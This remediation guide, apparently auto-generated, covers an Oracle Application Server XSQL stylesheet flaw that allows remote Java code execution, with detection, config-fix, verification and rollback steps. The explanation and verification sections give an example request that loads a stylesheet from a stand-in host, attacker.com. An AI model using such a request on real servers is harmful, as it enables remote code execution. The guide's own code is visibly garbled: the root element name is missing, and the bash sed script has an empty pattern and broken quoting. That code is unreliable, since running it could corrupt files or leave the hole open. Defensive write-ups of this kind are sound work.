How to remediate – Oracle Application Server XSQL Stylesheet Arbitrary Java Code …

1. Introduction

The Oracle Application Server XSQL Stylesheet Arbitrary Java Code vulnerability allows an attacker to execute code on a remote host. This is because the XSQL servlet, by default, permits client-supplied stylesheets which can contain malicious Java code. Successful exploitation could lead to complete system compromise. Affected systems are typically those running Oracle Application Server with the XSQL Servlet enabled. Impact on confidentiality, integrity and availability is likely to be high.

2. Technical Explanation

The vulnerability arises from insufficient input validation within the XSQL servlet when processing XSLT stylesheets. An attacker can supply a URL pointing to a malicious stylesheet that contains Java code which will then be executed by the server. The exploit requires access to an endpoint serving XSQL pages and the ability to provide a custom stylesheet URL. This is tracked as CVE-2001-0126. A simple example would involve crafting a request with a stylesheet parameter pointing to a remote file containing harmful Java code.

• Root cause: The XSQL servlet does not, by default, prevent clients from supplying their own stylesheets for processing.
• Exploit mechanism: An attacker provides a URL to an XSLT stylesheet containing malicious Java code within a request to an XSQL page. This code is then executed on the server. For example, a crafted HTTP request might include ?stylesheet=http://attacker.com/malicious.xsl.
• Scope: Oracle Application Server versions with the XSQL servlet enabled are affected. Specific version details were not provided in the context.

3. Detection and Assessment

Confirming vulnerability involves checking the configuration of the XSQL servlet and testing its ability to process external stylesheets. A quick check is to verify if the XSQL servlet is running. More thorough assessment requires attempting to load a malicious stylesheet.

• Quick checks: Check if the XSQL servlet is active using opmnctl status or through the Oracle Enterprise Manager console.
• Scanning: Nessus plugin ID 16859 may detect this vulnerability, but results should be verified manually.
• Logs and evidence: Examine application server logs for errors related to XSLT processing or Java code execution when attempting to load a malicious stylesheet. Look in the standard Oracle Application Server log directories.

opmnctl status

4. Solution / Remediation Steps

The solution involves modifying the configuration of each XSQL page on the server to disallow client-supplied stylesheets until a permanent fix is provided by Oracle. These steps should be performed carefully and tested thoroughly.

4.1 Preparation

• Ensure you have access to edit the configuration files for your Oracle Application Server installation. A roll back plan involves restoring the backed-up xsql pages.
• A change window may be required depending on service impact and criticality. Approval from a senior administrator is recommended.

4.2 Implementation

1. Step 1: Edit each xsql page file on the server.
2. Step 2: Add the attribute `allow-client-style=’no’` to the root `` element of each xsql page.
3. Step 3: Save the changes to each xsql page file.
4. Step 4: Restart any affected application server instances or services.

4.3 Config or Code Example

Before

<document>
  ...
</document>

After

<document allow-client-style='no'>
  ...
</document>

4.4 Security Practices Relevant to This Vulnerability

Several security practices can help mitigate this type of vulnerability. Least privilege reduces the impact if exploited, and input validation prevents unsafe data from being processed. Safe defaults are also important; configurations should be secure out-of-the-box. A regular patch cadence ensures timely application of security updates.

• Practice 1: Implement least privilege to limit the damage an attacker can cause if they successfully execute code.
• Practice 2: Employ input validation on all user-supplied data, including URLs and file paths, to block malicious content.

4.5 Automation (Optional)

A simple script could be used to automate the addition of `allow-client-style=’no’` to xsql files, but caution is advised.

#!/bin/bash
find /path/to/xsql -name "*.xsql" -print0 | while IFS= read -r -d $'' file; do
  sed -i 's//& allow-client-style='no'/' "$file"
done
#Caution: This script modifies files in place. Test thoroughly before use.

5. Verification / Validation

Confirm the fix by checking that client-supplied stylesheets are no longer accepted and re-testing the earlier detection method. A service smoke test should also be performed to ensure functionality remains intact.

• Post-fix check: Attempt to load a malicious stylesheet again; it should now fail with an error indicating that client-supplied stylesheets are not allowed.
• Re-test: Re-run the Nessus scan (plugin ID 16859) and confirm it no longer reports the vulnerability.
• Smoke test: Verify that basic XSQL functionality, such as querying a sample database table, still works correctly.
• Monitoring: Monitor application server logs for any errors related to stylesheet processing; unexpected errors could indicate an issue with the fix.

Attempt to load http://attacker.com/malicious.xsl - should result in an error message.

6. Preventive Measures and Monitoring

Update security baselines to include this configuration change. Implement checks in CI or deployment pipelines to ensure that all xsql files adhere to the secure configuration. Establish a sensible patch or config review cycle to address new vulnerabilities promptly, for example, quarterly reviews.

• Baselines: Update your Oracle Application Server security baseline to require `allow-client-style=’no’` on all XSQL pages.
• Pipelines: Add static analysis checks in your CI/CD pipeline to automatically flag any xsql files that do not include the required attribute.

7. Risks, Side Effects, and Roll Back

Adding `allow-client-style=’no’` may break existing applications that rely on client-supplied stylesheets. The roll back process involves removing the added attribute from all xsql files.

• Risk or side effect 1: Existing functionality relying on custom stylesheets may be broken. Mitigation is to identify and update those applications.
• Roll back:
  1. Step 1: Edit each xsql page file.
  2. Step 2: Remove the attribute `allow-client-style=’no’` from the root `` element.
  3. Step 3: Save the changes to each xsql page file.
  4. Step 4: Restart any affected application server instances or services.

8. References and Resources

• Vendor advisory or bulletin: Oracle Security Alert – CVE-2001-0126